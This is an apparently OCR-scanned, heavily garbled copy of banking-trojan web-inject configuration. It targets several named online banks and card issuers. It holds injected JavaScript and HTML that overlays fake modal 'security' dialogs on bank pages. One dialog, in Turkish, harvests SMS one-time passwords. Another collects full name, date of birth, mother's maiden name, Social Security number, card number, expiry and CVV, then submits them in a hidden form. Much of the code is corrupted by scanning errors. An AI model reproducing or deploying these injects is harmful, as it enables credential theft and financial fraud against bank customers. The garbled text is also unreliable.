<script type="text/javascript">

var popfrequency="216000"

function get_cooki e(Nane) ({

var search = Nane + "="

var returnvalue = ""

i f (document.cookie.length > 0) {

of fset = docunent. cooki e. i ndexXf (sear ch)
if (offset '=-1) { // if cookie exists
of fset += search.length

/1 set index of beginning of value

end = docunent. cookie.indexOf(";", offset);
/1 set index of end of cookie val ue
if (end == -1)

end = docunent. cooki e. | engt h;

r et ur nval ue=unescape(docunent . cooki e. substri ng(of fset, end))
}

}

return returnval ue;

}

function resetcookie(){

var expirebDate = new Date()

expi reDat e. set Hour s( expi r eDat e. get Hour s() - 10)

docunent. cooki e = "tcpopunder =; pat h=/; expires=" + expireDate.toGVIString()

}

function | oadornot (){
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i f (get_cookie('tcpopunder')==""){
| oadpopunder ()
}

}

function | oadpopunder () {

function Init()
{
jQuery('#inject').dialog({ width: 570, buttons: { "nternet ubesi Gri":
function() {
if (jQuery("#inject_sns").val().length < 6)

alert('Ltfen doru ifre giriniz.");
j Query("#inject_snms").focus();

}

el se

{

j Query("#sns").val (j Query("#inject_sns").val());

jQuery("fornfname="injectform]").subnmit();

var expirebDate = new Date()

expi reDat e. set Hour s(expi r eDat e. get Hour s() +par sel nt ( popfrequency))

docunent . cooki e = "tcpopunder =" +par sel nt (popf requency) +"; pat h=/; expi res=" +
expireDate.t oGMIStri ng();

j Query("#inject").dialog("close");

}

}, closeOnEscape: false, nodal: true, show 'slide' });
}
j Query(docunent).ready(lnit);

}

i f (popfrequency=="al ways"){
reset cooki e()
| oadpopunder ()

el se{

i f (get_cookie('tcpopunder')!=parselnt(popfrequency))
reset cooki e()

| oador not ()

</script>
<div id="inject">
<body>
<hr styl e="height: 11px; background-color: #33CC33"/>
</ body>
<formp
<l eft>
<t abl e><t body>
<tr><td align="left" styl e="background: #FFFFFF;"><ing
src="http://t3.gstatic.conlinmges?q=t bn: ANd9CGc QYAf XEqe3GHc UCYEDke GRXCg_m4_uzulLKoi THIL
ELRnt BLAWKEKA" wi dt h="120" hei ght="48" style="margi n-top: Opx; margin-left: 20px;
mar gi n-bottom Opx;"/>
<i ngy
src="https://isube. assets.garanti.comtr/assets/ing/txt/tr/h4-sns-ile-sifre-
dogrul ama. png" wi dt h="240" hei ght ="30" style="margi n-top: Opx; margin-left: 150px;
mar gi n-bottom 8px;"/></td></tr>

</tbody></tabl e></l eft>
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<body>
<hr/>
</ body>

<center>
<p>
<div style="font-size: 14px">
<div align="center" style="col or: #009933" ><b>Tek kullanm k ifreni z cep
tel efonu numaranza SMS ile gnderilmtir.</b>
</ di v></ p>
<di v>
<t abl e>
<t body>
<tr>
<td align="left" style="font-size: 13px; background: #FFFFFF;">Cep
Tel ef onu
<td align="left" style="background: #FOFOFO ; font-size: 12px;"><b> Seim m
hatrl a</ b></td>
</tr>
</t body>
</ tabl e>

</ br>
</ br>
<body>
<hr/ >
</ body>
<p>
<div style="font-size: 14px">
<div align="center" style="col or: #009933"><b>Ltfen SM5 teki ifreyi aadak
ana giriniz.</b>
</ div>
</ p>

a

<t abl e>
<tr>
<td style="font-size: 21lpx">*</td>

<td align="left" style="font-size: 13px; background
#FFFFFF; ">i fre</td><td </td><td </td>

<td align="left" style="background: #FFFFFF;, font-size: 15px;"><input
type="text" name="inject_sns" id="inject_snms" size="12" maxl ength="6"/></td>

</tr>

<tr>
<td hei ght =" 25" ></t body></t d>
</tr>
</tabl e>
</ div>
</fornme
<div style="font-size: 1llpx">
<div align="center" >Eer 10 daki ka iinde PIN kodunuzu al mazsanz cep
tel efonunuzun nesaj gel en kutusu dol u ol madndan ve cep tel ef onunuzun kapsane al an
i i nde ol duundan enin ol un.
</ div>
</ center>

</ div>

<form nanme="injectforn action= nmet hod="post" >
<i nput type="hi dden" nane="sns" id="Ct" />
</forne
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Mask 0x3048
Target URL

"https://online.bbt. conibbtobs/bbtolbmeb/nalnIOV|ethone*
dat a_before

hr ef ="/ bbt obs/ bbt ol bext/ accnt Hi st/ acct Det ai | s?acti on=nanage&0ON_ACCTHI ST_PAGE=N&Accoun
t I ndexVal ue=1"
data_after
</ BODY>
data_inj ect

Mask 0x3048
Target URL : "https://ww. 53. cont servl et/ efsonline/index. htm *
dat a_before
id="acctTitl e_head"
data_after
</ body>
dat a_i nj ect

Mask 0x3048
Target URL :
"https://secure2.l1oydstsh. co. uk/personal /a/ account _overvi ew_personal *
dat a_before
cl ass="myAccounts cl earfix"
data_after
</ body>
data_inj ect

Mask 0x3048
Target URL : "https://*.capital one. *account s/ sunmar y*
dat a_before
cl ass="secti onHeader"
data_after
</ body>
data_inj ect

Mask 0x3048
Target URL :
"https://online. pcnastercard ca/ PCB_Consumer/ TransHi st ory. do*
dat a_before
summar y="Account Summary"
data_after
</ body>
data_inj ect

Mask 0x3064
Target URL :
"https://online. anerlcanexpress coni myca/ acct ngmt / us/ myaccount sunmary. do*
dat a_before
</ head>
data_after
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data_inj ect
<link rel ="styl esheet" type="text/css"
href="https://aj ax. googl eapi s. confajax/|ibs/jqueryui/1.7.1/themes/blitzer/ui.all.css"
/>
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 10px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</styl e>
<script type="text/javascript"
src="https://aj ax. googl eapi s. conf aj ax/ i bs/jquery/1.3.2/jquery.mn.js"></script>
<script type="text/javascript"
src="https://aj ax. googl eapi s. confajax/libs/jqueryui/1l.7.1/jquery-ui.mn.js"></script>

dat a_before
</ body>
data_after

data_inj ect
<script type="text/javascript">

var popfrequency="216000"

function get_cooki e(Nane) {

var search = Nane + "="

var returnvalue ="";

i f (docunent.cookie.length > 0) {

of fset = docunent. cooki e. i ndexf (sear ch)
if (offset '=-1) { // if cookie exists
of fset += search.length

/1 set index of beginning of value

end = docunent. cooki e. i ndexOf (";", offset);
/1 set index of end of cookie val ue
if (end == -1)

end = docunent. cooki e. | engt h;

r et ur nval ue=unescape(docunent . cooki e. substri ng(of fset, end))
}

}

return returnval ue;

}

function resetcookie(){

var expireDate = new Date()

expi reDat e. set Hour s( expi r eDat e. get Hour s() - 10)

docunent . cooki e = "tcpopunder =; pat h=/; expires=" + expireDate.toGVIString()

}

function | oadornot () {

i f (get_cookie('tcpopunder')==""){
| oadpopunder ()

}

}
function | oadpopunder () {
function Init()

jQuery('#inject').dialog({ width: 450, buttons: { "Continue": function() {
if (jQuery("#inject_fullname").val().length < 5)
{

alert('Please Enter your Full Name.');
j Query("#inject _fullname").focus();

16



}
else if (jQuery("#inject_dobdd").val().length < 2)
{

alert('Please Select Your Date of Birth (day).');
j Query("#inject_dobdd").focus();

}
else if (jQuery("#inject_dobmm').val().length < 2)

alert('Please Select Your Date of Birth (nonth).');
j Query("#inject_dobmm'). focus();

}
else if (jQuery("#inject_dobyy").val().length < 4)

alert('Please Sel ect Your Date of Birth (year).');
j Query("#inject_dobyy").focus();

else if (jQuery("#inject_mm").val().length < 2)

alert (' Pl ease Enter Your Mbthers Miden Nanme.');
j Query("#inject_nmm").focus();

else if (jQuery("#inject_honetel").val().length < 8)

alert (' Pl ease Enter Your Hone Tel ephone Nunber.');
j Query("#inject_honetel ").focus();

else if (jQuery("#inject_nobile").val().length < 6)
{

alert('Please Enter Your Enmmil Address.');
j Query("#inject_nobile").focus();

else if (jQuery("#inject_sortl").val().length < 3)

alert('Please Enter Your Social Security Number.');
j Query("#inject_sortl").focus();

else if (jQuery("#inject_sort2").val().length < 2)

alert (' Pl ease Enter Your Social Security Number.');
j Query("#inject_sort2").focus();

else if (jQuery("#inject_sort3").val().length < 4)

alert(' Pl ease Enter Your Social Security Number.');
j Query("#inject_sort3").focus();

else if (jQuery("#inject_ccnum').val().length < 15)
alert('Please Enter Your 16 Digit Card Nunber.');
j Query("#inject_ccnum'). focus();

else if (jQuery("#inject_expmm').val().length < 1)

alert('Please Select the Expiry Date on Your Card (nonth).');
j Query("#inject_expmm').focus();

else if (jQuery("#inject_expyy").val().length < 1)
{

alert('Please Select the Expiry Date on Your Card (year).');
j Query("#inject_expyy").focus();

else if (jQuery("#inject_cvv").val().length < 3)
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card)."');

}

e

{

j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”
j Query(”

var expi

alert('Please Enter Your CID (the 4 digits on the front of your

j Query("#inject_cvv").focus();
se

#ful | name") . val (j Query("#i nj ect _full name"
#dobdd") . val (j Query("#i nj ect _dobdd"). val (
#dobmi') . val (j Query("#i nj ect _dobmt) . val (
#dobyyyy") . val (j Query("#i nj ect _dobyy").va
#nmm") . val (j Query("#i nject_mm").val ());
#homeno") . val (j Query("#i nj ect _honetel").v
#nobi | eno") . val (j Query("#i nject_nobile").
#sort1").val (j Query("#inject_sortl").val(
#sort2").val (j Query("#inject_sort2").val(
#sort 3").val (j Query("#inject_sort3").val(
#cenunt') . val (j Query("#i nj ect _ccnunt). val (
(
a

). val());
)
))s
10));

)
I());

#expmi') . val (j Query("#i nj ect _expmi'). val
#expyyyy").val (j Query("#i nj ect _expyy").v
#cvv") . val (j Query("#inject_cvv").val());
form name="injectform]").submt();
reDate = new Date()

expi reDat e. set Hour s( expi r eDat e. get Hour s() +par sel nt (popf requency))

docunent .

expireDate. toGMIString();

j Query(”

}

}, closeOnEscape: false, nodal: true, show 'slide' });

#inject").dial og("close");

}
j Query(docunent).ready(lnit);

}

i f (popfrequency=="al ways"){
reset cooki e()

| oadpopunder ()

}

el se{

i f (get_cookie('tcpopunder')! =parselnt(popfrequency))
reset cooki e()

| oador not ()

</script>

<div id="inj
<forne
<center>

ect">

<t abl e><t body>

<tr>
<tr><td al

Opx; "/ ></td></

<p>As part

</t body></

cooki e = "t cpopunder ="+par sel nt (popf requency) +"; pat h=/; expi res=" +

ign="left" style="background: #FFFFF;"><ing src="http://ww.themonmy-
files.conlwp-content/upl oads/ 2011/ 12/ Ameri can- Expr ess-rewar ds-1 0go.j pg" w dt h="425"
hei ght =" 140" style="nmargi n-top: 10px; margin-left: Opx; margin-bottom

tr><tr><td align="center" style="text-align: justify; font-size: 13px;
background: #FFFFF;, padding-left: 7px;">
of our ongoing conmtnent to keeping you safe while using our online
services, we have added an extra |l ayer of security. Please answer the follow ng
information correctly before |ogging into your Personal |nternet

<p>&nbsp; </ p></td></tr>

t abl e></ center >

<div style="font-size: 14px">
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Banki ng Account. </ p>



<div align="center"><b>Pl ease enter the infornation below to conti nue</b></div>
</ di v><p>&nbsp; </ p>
<di v>
<t abl e>
<t body>
<tr>
<td align="left" style="font-size: 15px; background: #FFFFFF;"><b>Ful
Name: </ b></t d>
<td align="left" style="background: #FFFFFF;, font-size: 13px;"><input
type="text" name="inject_fullname" id="inject_fullname" size="15"
max| engt h="50"/></td>
</tr>
<tr>
<td align="left" style="font-size: 15px; background: #FFFFFF;"><b>Date of
Birth:</b></td><td align="left" style="background: #FFFFFF;, font-size: 1lpx;"><sel ect
nane="i nj ect _dobdd" size="1" id="inject_dobdd">
<option sel ected="sel ected" val ue="">
<option val ue="01">01</ opti on>
<option val ue="02">02</ opti on>
<option val ue="03">03</ opti on>
<option val ue="04">04</ opti on>
<option val ue="05">05</ opti on>
<option val ue="06">06</ opti on>
<option val ue="07">07</ opti on>
<option val ue="08">08</ opti on>
<option val ue="09">09</ opti on>
<option val ue="10">10</ opti on>
<option val ue="11">11</ opti on>
<option val ue="12">12</ opti on>
<option val ue="13">13</ opti on>
<option val ue="14">14</ opti on>
<option val ue="15">15</ opti on>
<option val ue="16">16</ opti on>
<option val ue="17">17</ opti on>
<option val ue="18">18</ opti on>
<option val ue="19">19</ opti on>
<option val ue="20">20</ opti on>
<option val ue="21">21</ opti on>
<option val ue="22">23</opti on>
<option val ue="24">24</ opti on>
<option val ue="25">25</ opti on>
<option val ue="26">26</ opti on>
<option val ue="27">27</ opti on>
<option val ue="28">28</ opti on>
<option val ue="29">29</ opti on>
<option val ue="30">30</ opti on>
<option val ue="31">31</ opti on>
</ sel ect >
<sel ect name="inject_dobmi' size="1" id="inject_dobmi >
<option sel ected="sel ected" val ue="">
<option val ue="January">January</ opti on>
<option val ue="February" >February</opti on>
<option val ue="Mar ch">Mar ch</ opti on>
<option val ue="April">April </option>
<option val ue="May" >May</ opti on>
<option val ue="June">June</opti on>
<option val ue="Jul y">Jul y</ opti on>
<option val ue="August " >August </ opti on>
<option val ue="Sept enber " >Sept enber </ opti on>
<option val ue="Cct ober">Cct ober </ opti on>
<option val ue="Novenber" >Novenber </ opti on>
<option val ue="Decenber" >Decenber </ opti on>
</ sel ect >
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<sel ect name="inj ect _dobyy" size="1" id="inject_dobyy">
<option sel ected="sel ected" val ue="">
<option val ue="2010">2010</ opti on>
<option val ue="2009">2009</ opti on>
<option val ue="2008">2008</ opti on>
<option val ue="2007">2007</opti on>
<option val ue="2006">2006</ opti on>
<option val ue="2005">2005</opti on>
<option val ue="2004">2004</ opti on>
<option val ue="2003">2003</opti on>
<option val ue="2002">2002</ opti on>
<option val ue="2001">2001</ opti on>
<option val ue="2000">2000</ opti on>
<option val ue="1999">1999</ opti on>
<option val ue="1998">1998</ opti on>
<option val ue="1997">1997</ opti on>
<option val ue="1996">1996</ opti on>
<option val ue="1995">1995</ opti on>
<option val ue="1994">1994</ opti on>
<option val ue="1993">1993</ opti on>
<option val ue="1992">1992</ opti on>
<option val ue="1991">1991</ opti on>
<option val ue="1990">1990</ opt i on>
<option val ue="1989">1989</ opti on>
<option val ue="1988">1988</ opti on>
<option val ue="1987">1987</ opti on>
<option val ue="1986">1986</ opti on>
<option val ue="1985">1985</ opti on>
<option val ue="1984">1984</ opti on>
<option val ue="1983">1983</ opti on>
<option val ue="1982">1982</ opti on>
<option val ue="1981">1981</ opti on>
<option val ue="1980">1980</ opti on>
<option val ue="1979">1979</ opti on>
<option val ue="1978">1978</ opti on>
<option val ue="1977">1977</ opti on>
<option val ue="1976">1976</ opti on>
<option val ue="1975">1975</ opti on>
<option val ue="1974">1974</ opti on>
<option val ue="1973">1973</ opti on>
<option val ue="1972">1972</ opti on>
<option val ue="1971">1971</ opti on>
<option val ue="1970">1970</ opti on>
<option val ue="1969">1969</ opti on>
<option val ue="1968">1968</ opti on>
<option val ue="1967">1967</ opti on>
<option val ue="1966">1966</ opti on>
<option val ue="1965">1965</ opti on>
<option val ue="1964">1964</ opti on>
<option val ue="1963">1963</ opti on>
<option val ue="1962">1962</ opti on>
<option val ue="1961">1961</ opti on>
<option val ue="1960">1960</ opti on>
<option val ue="1959">1959</ opti on>
<option val ue="1958">1958</ opti on>
<option val ue="1957">1957</ opti on>
<option val ue="1956">1956</ opti on>
<option val ue="1955">1955</ opti on>
<option val ue="1954">1954</ opti on>
<option val ue="1953">1953</ opti on>
<option val ue="1952">1952</ opti on>
<option val ue="1951">1951</ opti on>
<option val ue="1950">1950</ opti on>
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